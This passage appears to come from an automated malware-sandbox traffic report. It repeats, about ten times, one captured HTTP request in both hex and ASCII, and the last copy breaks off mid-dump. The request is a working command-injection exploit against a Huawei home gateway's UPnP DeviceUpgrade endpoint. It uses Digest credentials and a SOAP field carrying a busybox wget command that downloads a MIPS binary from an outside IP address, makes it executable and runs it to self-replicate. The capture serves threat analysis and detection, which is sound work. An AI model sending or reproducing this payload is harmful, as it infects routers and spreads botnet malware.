6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" 